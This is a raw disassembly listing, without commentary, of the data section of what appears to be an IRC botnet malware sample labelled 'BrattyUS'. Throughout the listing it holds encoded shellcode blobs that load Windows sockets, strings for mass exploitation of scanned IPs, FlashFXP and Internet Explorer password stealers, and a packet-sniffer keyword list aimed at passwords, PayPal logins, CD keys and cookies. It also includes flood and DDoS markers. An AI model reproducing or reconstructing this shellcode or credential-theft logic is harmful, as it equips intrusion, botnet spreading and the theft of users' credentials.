1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+8Co dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C964 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+36o dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41CA18 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_412720+71o dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_41CB95 db 0E3h ; DATA XREF: sub_4125DF+CFr ; sub_4125DF+E4w align 4 dword_41CB98 dd 4113E68Bh ; DATA XREF: sub_4125DF+60r ; sub_4125DF+75w align 10h off_41CBA0 dd offset dword_41CCF8 ; DATA XREF: sub_4127D0+77r dd offset nullsub_1 dd 0 dd offset dword_41CCD8 dd offset dword_41CCCC align 8 dd offset dword_41CCAC dd offset nullsub_2 dd 0 dd offset dword_41CC84 dd offset nullsub_3 align 10h dd offset loc_41CC58 dd offset dword_41CC4C dd 0 dd offset dword_41CC34 dd offset nullsub_4 align 8 dd offset loc_41CC0C dd offset nullsub_5 dd 4 dup(0) ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0DAh dd 2 dup(0) ; --------------------------------------------------------------------------- loc_41CC0C: ; DATA XREF: BrattyUS:0041CBE8o ; BrattyUS:0041DB60o mov ah, [esi-42447F50h] mov esp, 0C590B1ACh cdq icebp mov edi, 0B191C99Ah test dword ptr [esi+0A0ADh], 0 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0D0h dd 2 dup(0) dword_41CC34 dd 91B0A391h, 0A1B1FABBh, 9EDF93AAh, 88DAB2E5h, 0B4AD9Ah ; DATA XREF: BrattyUS:0041CBDCo ; BrattyUS:0041DB54o dd 0 dword_41CC4C dd 0DBEFF5CEh, 2 dup(0) ; DATA XREF: BrattyUS:0041CBD4o ; BrattyUS:0041DB4Co ; --------------------------------------------------------------------------- loc_41CC58: ; DATA XREF: BrattyUS:0041CBD0o ; BrattyUS:0041DB48o xchg eax, esp mov ebx, 0FAA489A9h mov eax, ds:0DA97B2BAh retn 0A4A4h ; --------------------------------------------------------------------------- dw 0D386h dd 84B8B28Bh, 0E6BCA1A0h, 0DB99A1h, 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] db 0F0h, 0E0h, 0DBh dd 2 dup(0) dword_41CC84 dd 87BEA397h, 0A9BAFAA7h, 9FC29FA5h, 0C381BEE5h, 0C6ACB590h ; DATA XREF: BrattyUS:0041CBC4o ; BrattyUS:0041DB3Co dd 0A0B1A6h, 0 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0D0h dd 2 dup(0) dword_41CCAC dd 8DBEAB8Eh, 0A4B6FABAh, 82DD95A3h, 0D581B2FEh, 9BBAA69Bh ; DATA XREF: BrattyUS:0041CBB8o ; BrattyUS:0041DB30o dd 0A5BBB7E6h, 2 dup(0) dword_41CCCC dd 0D0EBFBC0h, 2 dup(0) ; DATA XREF: BrattyUS:0041CBB0o ; BrattyUS:0041DB28o dword_41CCD8 dd 0C6B0A38Dh, 0A0A7BCA1h, 0D88E92B1h, 84B8F4h, 0 ; DATA XREF: BrattyUS:0041CBACo ; BrattyUS:0041DB24o ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0F0h, 0EAh, 0DCh dd 2 dup(0) dword_41CCF8 dd 90AAAB8Ah, 0A6B1B1BCh, 9EDF99ECh, 0C281A2F3h, 8DB7EC9Dh ; DATA XREF: BrattyUS:off_41CBA0o ; BrattyUS:off_41DB18o dd 0BCh, 0 dword_41CD14 dd 72h ; DATA XREF: sub_412A3A:loc_412B93o dword_41CD18 dd 62h ; DATA XREF: sub_412BC9:loc_412D11o dword_41CD1C dd 63h ; DATA XREF: sub_412D56:loc_412DC8o dword_41CD20 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_412E04+64o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_41CD58 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_412F07+98o dd 74726F70h, 34300320h, 3752502h, 2, 0 byte_41CD80 db 9Dh ; DATA XREF: sub_41294E+3Co ; sub_41294E+4Co ... db 0A1h, 0B6h, 85h dd 0FAh, 2 dup(0) dd 0C8000000h, 0ECF1h, 3 dup(0) db 2 dup(0) dword_41CDA6 dd 3C68D6C0h ; DATA XREF: sub_41294E+2Br ; sub_412FC6+31r ... dword_41CDAA dd 0 ; DATA XREF: sub_412FC6+57w ; sub_414052+B5r ... off_41CDAE dd offset sub_410649 ; DATA XREF: sub_41294E+1Cr ; sub_412FC6+18r ... dw 3 dd 0 dd 0A7970000h, 0A0A998ADh, 0BCh, 2 dup(0) dd 0ECF6CD00h, 4 dup(0) dd 759FD7B9h, 0 dd offset sub_410B52 dd 3, 10h dup(0) dword_41CE30 dd 6E695728h, 293233h ; DATA XREF: sub_41308F+217o dword_41CE38 dd 696E5528h, 2978h ; DATA XREF: sub_41308F+1F1o dword_41CE40 dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo aApache db 'Apache',0 ; DATA XREF: sub_41308F+1B9o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_41308F+FCo align 4 aServer db 'Server:',0 ; DATA XREF: sub_41308F+7Ao aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo db 0Dh,0Ah,0 align 4 unk_41CE98 db 53h ; S ; DATA XREF: sub_41349C+5E4o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_41CEDC dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: sub_41349C+55Eo dword_41CEF0 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_41349C+343o dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_41CF28 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: sub_41349C+305o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_41CF54 db 53h ; S ; DATA XREF: sub_413AB0+1DCo db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_41CF8C dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: sub_413CB3+30Eo dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_41CFD0 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: sub_413CB3+2B0o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_41D000 db 2Dh ; - ; DATA XREF: sub_413CB3+31o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 10h aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o dword_41D054 dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: sub_414052+BBo aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo align 4 dword_41D098 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: sub_4141C1+D8o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_41D0C8 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: sub_4141C1+B4o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_41D100 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: sub_4141C1+78o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_41D130 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_4142BF+D8o dd 30032074h, 73250234h, 203h unk_41D150 db 53h ; S ; DATA XREF: sub_4143B0+221o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_41D18C dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: sub_4143B0+1BAo dword_41D1A0 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_4143B0+81o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_41D1E8 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_414600+1BEo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o ; sub_4147E5+C6o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_4148CE+ABo align 10h aSites_dat db 'sites.dat',0 ; DATA XREF: sub_4148CE:loc_414945o align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_4148CE+57o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_4148CE+15o align 4 unk_41D2DC db 2Dh ; - ; DATA XREF: sub_414A1E+464o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 4 dword_41D318 dd 2343003h, 2037525h ; DATA XREF: sub_414A1E+3C4o a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+352o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+338o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+31Eo db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+304o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_41D384 db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_414A1E+2EAo align 10h aPass_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1F4o db 'Pass=',0 aUser_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1DCo db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: sub_414A1E+1C4o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: sub_414A1E+1ACo db 'IP=',0 align 10h asc_41D3B0 db 0Dh,0Ah ; DATA XREF: sub_414A1E:loc_414BA6o db 0Dh,0Ah db '[',0 align 4 unk_41D3B8 db 2Dh ; - ; DATA XREF: sub_414A1E+55o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 10h aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo align 4 unk_41D3FC db 2Dh ; - ; DATA XREF: sub_414EF4+B8Ao db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 69h aNternetExplore db 'nternet explorer password(s).',0 align 4 dword_41D438 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh ; DATA XREF: sub_414EF4+AD8o dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h dd 2343003h, 2037325h, 2Eh dword_41D494 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh ; DATA XREF: sub_414EF4+A2Bo dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h dd 25023430h, 2E020373h, 0 dword_41D4DC dd 70747468h, 2F3A73h ; DATA XREF: sub_414EF4+9DDo dword_41D4E4 dd 70747468h, 2F3Ah ; DATA XREF: sub_414EF4+9C6o dword_41D4EC dd 7274533Ah, 676E69h ; DATA XREF: sub_414EF4+983o ; sub_414EF4+99Ao aStringindex db 'StringIndex',0 ; DATA XREF: sub_414EF4+968o aE161255a db 'e161255a',0 ; DATA XREF: sub_414EF4:loc_415842o align 4 dword_41D50C dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h ; DATA XREF: sub_414EF4+935o dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h dword_41D54C dd 2Ch ; DATA XREF: sub_414EF4+83Bo ; sub_414EF4+852o ... aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_414EF4:loc_4155CEo align 4 dword_41D55C dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h ; DATA XREF: sub_414EF4+6C6o dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_414EF4:loc_41550Co align 10h dword_41D5C0 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh ; DATA XREF: sub_414EF4+604o dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_414EF4+5C2o align 4 aWs db '%ws',0 ; DATA XREF: sub_414EF4+41Co asc_41D610 db '%x',0 ; DATA XREF: sub_414EF4+234o align 4 unk_41D614 db 2Dh ; - ; DATA XREF: sub_414EF4+1A9o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingInterne db '- Listing internet explorer passwords',0 align 8 dword_41D648 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o ; sub_414EF4+2C7o ... aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o align 4 dword_41D67C dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: sub_415B60+277o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: sub_415B60+10Ao align 4 aConquer db '[Conquer]',0 ; DATA XREF: sub_415B60:loc_415C2Fo align 10h aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_415B60+8Co aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo align 4 off_41D7AC dd offset dword_41DA50 ; DATA XREF: sub_415EB7+32o dd offset dword_41DA44 dd offset dword_41DA3C dd offset dword_41DA30 dd offset dword_41DA28 dd 0 dd offset dword_41DA1C dd 0 dd offset dword_41DA14 dd 0 dd offset dword_41DA0C dd 0 dd offset dword_41DA00 dd 0 dd offset dword_41D9F4 dd 0 dd offset dword_41D9EC dd 0 dd offset dword_41D9E4 dd 0 dd offset off_41D9E0 dd 2 dup(0) off_41D808 dd offset aLogin_0 ; DATA XREF: sub_415EB7+54o ; "login " align 10h dd offset aSxt ; "sxt " align 8 dd offset aAuth ; "auth " align 10h dd offset aPasswort ; "passwort " align 8 dd offset aCdkey ; "cdkey" align 10h dd offset aCdKey_0 ; "cd-key" align 8 dd offset aCdKey ; "cd key" align 10h dd offset aPassword ; "password" align 8 dd offset aPaypal_com ; "paypal.com" dd 0 dd offset aPaypal ; "paypal" align 8 dd offset aIrcOperator ; "irc operator" align 10h dd offset aLP ; "l/p" align 8 dd offset aSsh1_5 ; "SSH-1.5" align 10h dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_41D87C dd offset aSetCookie ; DATA XREF: sub_415EB7+76o ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU_0 ; "serv-u" dd 0 dd offset aServU ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" align 10h off_41D8C0 dd offset dword_41D91C ; DATA XREF: sub_415EB7+98o align 8 dd offset dword_41D914 align 10h dd offset dword_41D90C align 8 dd offset dword_41D904 align 10h dd offset dword_41D8FC align 8 dd offset dword_41D8F4 dd 2 dup(0) dword_41D8F4 dd 54495551h, 20h ; DATA XREF: BrattyUS:0041D8E8o dword_41D8FC dd 54524150h, 20h ; DATA XREF: BrattyUS:0041D8E0o dword_41D904 dd 4E494F4Ah, 20h ; DATA XREF: BrattyUS:0041D8D8o dword_41D90C dd 49504F54h, 2043h ; DATA XREF: BrattyUS:0041D8D0o dword_41D914 dd 49544F4Eh, 204543h ; DATA XREF: BrattyUS:0041D8C8o dword_41D91C dd 56495250h, 2047534Dh, 0 ; DATA XREF: BrattyUS:off_41D8C0o aDdos db 'ddos',0 ; DATA XREF: BrattyUS:0041D8B4o align 10h aServu db 'servu',0 ; DATA XREF: BrattyUS:0041D8ACo align 4 aServU db 'serv u',0 ; DATA XREF: BrattyUS:0041D8A4o align 10h aServU_0 db 'serv-u',0 ; DATA XREF: BrattyUS:0041D89Co align 4 aClone db 'clone ',0 ; DATA XREF: BrattyUS:0041D894o align 10h aFlood db 'flood ',0 ; DATA XREF: BrattyUS:0041D88Co align 4 aSyn db 'syn',0 ; DATA XREF: BrattyUS:0041D884o aSetCookie db 'Set-Cookie:',0 ; DATA XREF: BrattyUS:off_41D87Co aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: BrattyUS:0041D870o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: BrattyUS:0041D868o aLP db 'l/p',0 ; DATA XREF: BrattyUS:0041D860o aIrcOperator db 'irc operator',0 ; DATA XREF: BrattyUS:0041D858o align 10h aPaypal db 'paypal',0 ; DATA XREF: BrattyUS:0041D850o align 4 aPaypal_com db 'paypal.com',0 ; DATA XREF: BrattyUS:0041D848o align 4 aCdKey db 'cd key',0 ; DATA XREF: BrattyUS:0041D838o align 4 aCdKey_0 db 'cd-key',0 ; DATA XREF: BrattyUS:0041D830o align 4 aCdkey db 'cdkey',0 ; DATA XREF: BrattyUS:0041D828o align 4 aPasswort db 'passwort ',0 ; DATA XREF: BrattyUS:0041D820o align 4 aAuth db 'auth ',0 ; DATA XREF: BrattyUS:0041D818o align 10h aSxt db 'sxt ',0 ; DATA XREF: BrattyUS:0041D810o align 4 aLogin_0 db 'login ',0 ; DATA XREF: BrattyUS:off_41D808o align 10h off_41D9E0 dd offset dword_3D7000+770h ; DATA XREF: BrattyUS:0041D7FCo dword_41D9E4 dd 73736170h, 3Dh ; DATA XREF: BrattyUS:0041D7F4o dword_41D9EC dd 69676F6Ch, 3D6Eh ; DATA XREF: BrattyUS:0041D7ECo dword_41D9F4 dd 73736170h, 64726F77h, 3Dh ; DATA XREF: BrattyUS:0041D7E4o dword_41DA00 dd 72657375h, 656D616Eh, 3Dh ; DATA XREF: BrattyUS:0041D7DCo dword_41DA0C dd 73736170h, 3D6477h ; DATA XREF: BrattyUS:0041D7D4o dword_41DA14 dd 75613A20h, 206874h ; DATA XREF: BrattyUS:0041D7CCo dword_41DA1C dd 6E656469h, 79666974h, 20h ; DATA XREF: BrattyUS:0041D7C4o dword_41DA28 dd 7265706Fh, 20h ; DATA XREF: BrattyUS:0041D7BCo dword_41DA30 dd 6C69614Dh, 73736150h, 20h ; DATA XREF: BrattyUS:0041D7B8o dword_41DA3C dd 73736170h, 20h ; DATA XREF: BrattyUS:0041D7B4o dword_41DA44 dd 6E6B6E75h, 206E776Fh, 0 ; DATA XREF: BrattyUS:0041D7B0o dword_41DA50 dd 72657375h, 20h ; DATA XREF: BrattyUS:off_41D7ACo dword_41DA58 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: sub_415F69+5CEo dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_41DA8C db 2Dh ; - ; DATA XREF: sub_415F69+1A6o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 10h dword_41DAC0 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_41665C+8Eo dd 6E732074h, 65666669h, 72h, 41DAE4h, 84B6AD89h, 0B8A0BAE6h dd 91C499ECh, 2 dup(0) dword_41DAF8 dd 0B1790F4Ch ; DATA XREF: sub_40A9CF+843r ; sub_4167F1+54r ... dword_41DAFC dd 6F035C08h ; DATA XREF: sub_4167F1+4Cr dword_41DB00 dd 12E3F4F6h ; DATA XREF: sub_4167F1+41r dword_41DB04 dd 0A1A8C30Ch ; DATA XREF: sub_4167F1+3Br dd 35h, 0 off_41DB10 dd offset dword_41DE18 ; DATA XREF: sub_40E618+1C3r ; sub_40E618+1D5r ... align 8 off_41DB18 dd offset dword_41CCF8 ; DATA XREF: sub_40A9CF+7B3r ; sub_40CF2F+82r ... off_41DB1C dd offset nullsub_1 ; DATA XREF: sub_40CF2F+B8r dword_41DB20 dd 0 ; DATA XREF: sub_40CF2F+D0r ; sub_40CF2F+DFr dd offset dword_41CCD8 dd offset dword_41CCCC align 10h dd offset dword_41CCAC dd offset nullsub_2 dd 0 dd offset dword_41CC84 dd offset nullsub_3 align 8 dd offset loc_41CC58 dd offset dword_41CC4C dd 0 dd offset dword_41CC34 dd offset nullsub_4 align 10h dd offset loc_41CC0C dd offset nullsub_5 dd 4 dup(0) dword_41DB78 dd 0D7E6FDC6h, 0F7EBEBF7h, 2 dup(0) ; DATA XREF: sub_40D043:loc_40D31Fo ; sub_40D871:loc_40DCB8o dword_41DB88 dd 69702323h, 2323h, 1Eh dup(0) ; DATA XREF: sub_40332B+1A1o ; sub_4093B6+6Co ... byte_41DC08 db 0DAh ; DATA XREF: sub_40D043+28Cr ; sub_40D043+297o db 0E1h, 0B1h, 81h dd 0EBF7BDB8h, 1Eh dup(0) byte_41DC88 db 0 ; DATA XREF: sub_40D043+2B3r ; sub_40D043+2BEo align 4 dd 1Fh dup(0) dword_41DD08 dd 3430032Eh, 2036202h, 0 ; DATA XREF: sub_40A9CF:loc_40C4DAo ; sub_40D871+242o dword_41DD14 dd 8BBBA78Eh, 0E6E6E7A4h, 0DA9AA6h, 3Eh dup(0) ; DATA XREF: sub_406A23+2Eo ; sub_406AE7+2Eo dword_41DE18 dd 80B682D3h, 0E6A7B0BBh, 85DE92B1h, 0BFFEh, 0 ; DATA XREF: BrattyUS:off_41DB10o dword_41DE2C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: BrattyUS:00416B0Do aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 4 aEntry db 'entry',0 ; DATA XREF: BrattyUS:00416AE7o align 4 aLoop db 'loop',0 ; DATA XREF: sub_416AC5o align 4 aPing08x db 'PING :%08X',0 ; DATA XREF: sub_4167F1+263o align 4 a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: sub_4167F1+5Ao align 10h dword_41DEA0 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o 